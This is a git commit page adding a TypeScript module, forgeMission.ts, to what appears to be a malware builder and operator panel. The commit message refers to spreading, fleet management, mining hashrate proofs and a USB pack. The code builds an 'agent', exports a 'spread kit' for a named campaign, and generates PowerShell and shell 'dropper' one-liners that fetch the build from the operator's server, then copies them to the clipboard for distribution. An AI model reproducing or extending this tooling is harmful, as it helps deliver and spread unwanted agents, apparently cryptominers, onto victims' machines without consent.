feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
155
server/web/src/help/forgeMission.ts
Normal file
155
server/web/src/help/forgeMission.ts
Normal file
@@ -0,0 +1,155 @@
|
||||
import type { BuildRequest, BuildResponse } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
|
||||
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
getUrl,
|
||||
ps1Oneliner,
|
||||
shOneliner,
|
||||
} from './emberwake';
|
||||
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
|
||||
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
||||
|
||||
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
||||
configure: 'Configure',
|
||||
forge: 'Forge',
|
||||
export: 'Export',
|
||||
copy: 'Copy',
|
||||
};
|
||||
|
||||
export interface MissionLinks {
|
||||
ps1: string;
|
||||
sh: string;
|
||||
get: string;
|
||||
clipboardText: string;
|
||||
}
|
||||
|
||||
export interface MissionResult {
|
||||
build: BuildResponse;
|
||||
links: MissionLinks;
|
||||
exportSkipped: boolean;
|
||||
}
|
||||
|
||||
export interface MissionApi {
|
||||
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
|
||||
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
|
||||
}
|
||||
|
||||
export function applyMissionPresets(
|
||||
form: BuildRequest,
|
||||
operationMode: OperationModeId,
|
||||
spreadProfile: SpreadProfileId | '',
|
||||
): BuildRequest {
|
||||
let next = applyOperationMode(form, operationMode);
|
||||
if (spreadProfile) {
|
||||
next = applySpreadProfile(next, spreadProfile);
|
||||
}
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
export function buildMissionLinks(
|
||||
serverBase: string,
|
||||
buildId: string,
|
||||
campaign: string,
|
||||
): MissionLinks {
|
||||
const query = combinedDropperQuery(buildId, campaign);
|
||||
const ps1 = ps1Oneliner(serverBase, query);
|
||||
const sh = shOneliner(serverBase, query);
|
||||
const get = getUrl(serverBase, query);
|
||||
const clipboardText = [ps1, sh, get].join('\n\n');
|
||||
return { ps1, sh, get, clipboardText };
|
||||
}
|
||||
|
||||
export function missionStepIndex(step: MissionStep): number {
|
||||
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
|
||||
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
|
||||
return idx < 0 ? -1 : idx;
|
||||
}
|
||||
|
||||
export function missionStepStatus(
|
||||
step: (typeof MISSION_STEPS)[number],
|
||||
current: MissionStep,
|
||||
exportSkipped: boolean,
|
||||
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
|
||||
if (current === 'error') {
|
||||
const idx = MISSION_STEPS.indexOf(step);
|
||||
const curIdx = missionStepIndex(current);
|
||||
if (idx < curIdx) return 'done';
|
||||
if (idx === curIdx) return 'error';
|
||||
return 'pending';
|
||||
}
|
||||
if (step === 'export' && exportSkipped) return 'skipped';
|
||||
const idx = MISSION_STEPS.indexOf(step);
|
||||
const curIdx = missionStepIndex(current);
|
||||
if (curIdx < 0) return 'pending';
|
||||
if (idx < curIdx) return 'done';
|
||||
if (idx === curIdx) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
|
||||
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
|
||||
await navigator.clipboard.writeText(links.clipboardText);
|
||||
return;
|
||||
}
|
||||
throw new Error('Clipboard unavailable');
|
||||
}
|
||||
|
||||
export async function runForgeMission(opts: {
|
||||
form: BuildRequest;
|
||||
operationMode: OperationModeId;
|
||||
spreadProfile: SpreadProfileId | '';
|
||||
campaign: string;
|
||||
serverBase: string;
|
||||
fusionPrepFile?: File | null;
|
||||
api: MissionApi;
|
||||
onStep?: (step: MissionStep) => void;
|
||||
cancelToken?: string;
|
||||
}): Promise<MissionResult> {
|
||||
const {
|
||||
form,
|
||||
operationMode,
|
||||
spreadProfile,
|
||||
campaign,
|
||||
serverBase,
|
||||
fusionPrepFile,
|
||||
api,
|
||||
onStep,
|
||||
cancelToken,
|
||||
} = opts;
|
||||
|
||||
onStep?.('configure');
|
||||
const configured = applyMissionPresets(form, operationMode, spreadProfile);
|
||||
|
||||
onStep?.('forge');
|
||||
const build = await api.buildAgent(
|
||||
{ ...configured, cancel_token: cancelToken },
|
||||
fusionPrepFile,
|
||||
);
|
||||
if (!build.success) {
|
||||
throw new Error(build.error || 'Build failed');
|
||||
}
|
||||
|
||||
const buildId = build.build_id?.trim();
|
||||
if (!buildId) {
|
||||
throw new Error('Build succeeded but no build_id returned');
|
||||
}
|
||||
|
||||
const exportSkipped = !configured.spread_kit;
|
||||
if (!exportSkipped) {
|
||||
onStep?.('export');
|
||||
await api.exportSpreadKit({
|
||||
build_id: buildId,
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
});
|
||||
}
|
||||
|
||||
onStep?.('copy');
|
||||
const links = buildMissionLinks(serverBase, buildId, campaign);
|
||||
|
||||
onStep?.('done');
|
||||
return { build, links, exportSkipped };
|
||||
}
|
||||
Reference in New Issue
Block a user